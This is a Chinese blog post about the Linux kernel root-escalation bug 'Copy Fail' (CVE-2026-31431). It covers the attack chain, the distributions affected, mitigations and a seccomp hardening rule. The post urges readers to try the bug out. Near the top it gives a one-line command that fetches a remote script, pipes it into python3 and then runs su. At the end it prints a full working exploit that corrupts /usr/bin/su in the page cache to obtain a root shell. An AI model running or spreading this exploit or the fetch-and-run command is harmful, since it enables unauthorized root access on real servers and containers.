当前位置:首页>Linux>732字节10行代码拿到Root!Linux内核潜伏9年的"核弹级"漏洞曝光,赶紧去尝鲜吧

732字节10行代码拿到Root!Linux内核潜伏9年的"核弹级"漏洞曝光,赶紧去尝鲜吧

  • 2026-10-11 08:17:02
732字节10行代码拿到Root!Linux内核潜伏9年的"核弹级"漏洞曝光,赶紧去尝鲜吧

732字节10行代码拿到Root!Linux内核潜伏9年的"核弹级"漏洞曝光

一行命令就能提权,你的服务器可能已经中招了。
curl https://copy.fail/exp | python3 && su


🔴 发生了什么?

2026年4月29日,安全研究团队 Xint Code 公开披露了一个 Linux 内核高危漏洞——代号 "Copy Fail"(CVE-2026-31431)。

这个漏洞的可怕之处在于:

一个仅732字节的Python脚本,无需任何依赖、无需编译、无需root权限,在几乎所有主流Linux发行版上,一次执行即可拿到 root 权限。

而且——磁盘上的文件不会被修改。传统安全工具根本检测不到。


📊 攻击原理:四步拿到 Root

[图1: 攻击链路流程图 - 含Step1~4完整攻击路径]

上面这张图展示了完整的攻击流程。简单来说就是:

  1. ‎创建一个AF_ALG加密socket —— 任何普通用户都能做,不需要任何特权
  2. ‎用 splice() 把目标文件的页缓存注入进去 —— 比如 ‎/usr/bin/su 这个setuid程序
  3. ‎触发解密操作 —— authencesn 算法在处理时会越界写入4字节到页缓存
  4. ‎执行被篡改的 ‎/usr/bin/su —— 因为它是setuid-root程序,直接拿到 root shell

为什么叫 "Copy Fail"?

漏洞的根本原因是三个"看似合理"的代码变更,在2011-2017年间先后合入内核:

时间
变更
当时看起来
2011
authencesn 加入内核
正常功能开发
2015
AF_ALG 获AEAD + splice()支持
性能优化
‎2017
‎algif_aead 添加in-place优化
‎← 漏洞诞生!

2017年那个 commit 把 src 和 dst 指向了同一个 scatterlist,导致 authencesn 的越界写入直接污染了页缓存页面。三个独立的"正确"决策,叠加在一起变成了灾难。


💥 跟历史上的"大佬"比比

[图2: 三大Linux提权漏洞对比表 - DirtyCow vs DirtyPipe vs CopyFail]

注意看 Copy Fail 的几个"恐怖属性":

  • ‎100%确定性成功 — 不像Dirty Cow需要拼概率竞争条件
  • ‎全平台统一脚本 — 同一段代码打遍所有发行版
  • ‎磁盘文件不变 — 仅内存被篡改,AIDE/Tripwire等完整性工具全部漏检
  • ‎支持容器逃逸 — 前两个都做不到的,它做到了!

这还不是最可怕的。作者已经预告了 Part 2:From Pod to Host —— 展示如何利用此漏洞从Kubernetes容器逃逸到宿主机节点。云原生同学的噩梦来了……


🕰️ 9年,整整9年!

[漏洞时间线与受影响发行版 - 从2011年到2026年的完整时间轴]

从2017年漏洞诞生到2026年4月公开披露,这个bug在Linux内核里静静地潜伏了近9年。

更讽刺的是:这个漏洞是AI发现的。

研究者 Taeyang Lee (Theori) 使用 Xint Code AI 工具扫描 Linux crypto 子系统,约1小时就输出了最高严重性的结果。AI找bug的速度比人类快太多了……

你的系统受影响吗?

基本上,自2017年以来发布的所有主流Linux发行版都在射程内:

发行版
受影响版本
Ubuntu
18.04 / 20.04 / 22.04 / 24.04 / 25.10 全线中招
RHEL/CentOS/Rocky/Alma
8.x / 9.x / 10.x 全部受影响
Amazon Linux
2023 受影响
SUSE
16 受影响

楼主实测反馈:Ubuntu 22.04 已更新所有补丁 ✅


🛠️ 怎么排查和修复?

第一步:检查是否受影响

# 1. 查看内核版本
uname -r

# 2. 检查是否有漏洞(输出VULNERABLE说明有风险)
python3 -c "import socket; socket.socket(38,5,0); print('VULNERABLE')"

# 3. 检查模块是否加载
lsmod | grep algif

第二步:临时缓解(立即生效)

# 1. 立即卸载内存中的漏洞模块(关键)sudo rmmod algif_aead# 2. 永久禁止该模块被加载(重启后依然有效)echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-cve-2026-31431.conf# 3. 更新启动镜像(Ubuntu 必须步骤)sudo update-initramfs -u# 4. 验证:执行后无任何输出即代表防护成功lsmod | grep algif_aead

⚠️ 注意:RHEL/CentOS 8/9/10 如果模块是静态编译进内核的,此方法无效,必须升级内核。

第三步:彻底修复

升级内核到安全版本(commit ≥ a664bf3d603d):

# Ubuntu/Debian
sudo apt update && sudo apt upgrade

# RHEL/CentOS
sudo yum update kernel

各发行版官方补丁正在陆续推送中。

容器环境加固

如果你的业务跑在Docker/K8s上,建议通过 seccomp 规则禁止AF_ALG socket创建:

{
  "syscalls": [{
    "names": ["socket"],
    "action": "SCMP_ACT_ERRNO",
    "args": [{
      "index": 0, "value": 38,
      "op": "SCMP_CMP_EQ"
    }]
  }]
}

加固后的测试效果

👉 几个值得深思的点

1. 内核代码质量的问题

三个"看起来都没问题"的变更,叠加在一起就是一个核弹级的漏洞。这说明什么?代码审查不能只看单个commit的影响,更要关注跨模块的组合效应。

2. AI辅助安全的时代到了

Xint Code 用1小时就发现了人类可能需要几个月才能找到的bug。以后的安全研究范式可能会被重写。

3. 页缓存的"双刃剑"特性

Linux的页缓存设计让IO如此高效,但同时也意味着——所有进程共享同一份内存中的文件数据,跨容器边界的攻击面远比我们想象的大。


写在最后 

!! 真10行,还带第一行注释

#!/usr/bin/env python3import os as g,zlib,socket as sdef d(x):return bytes.fromhex(x)def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))while i<len(e):c(f,i,e[i:i+4]);i+=4g.system("su")

如果你是运维或开发者,现在就去检查你的服务器。

如果你是学生或技术爱好者,这篇文章展示了Linux内核安全研究的精妙之处——732行都不用,一行命令就够了。

漏洞详情和完整PoC代码已在GitHub开源:
👉 https://github.com/theori-io/copy-fail-CVE-2026-31/

你试过复现这个漏洞了吗?欢迎评论区交流 👇


参考来源:

  • 腾讯云安全通告:https://cloud.tencent.com/announce/detail/2277
  • Xint Code 原始分析:https://xint.io/blog/copy-fail-linux-distributions
  • 官方漏洞网站:https://copy.fail/
  • NVD 漏洞库:https://nvd.nist.gov/vuln/detail/CVE-2026-31431
  • GitHub PoC:https://github.com/theori-io/copy-fail-CVE-2026-31/

最新文章

随机文章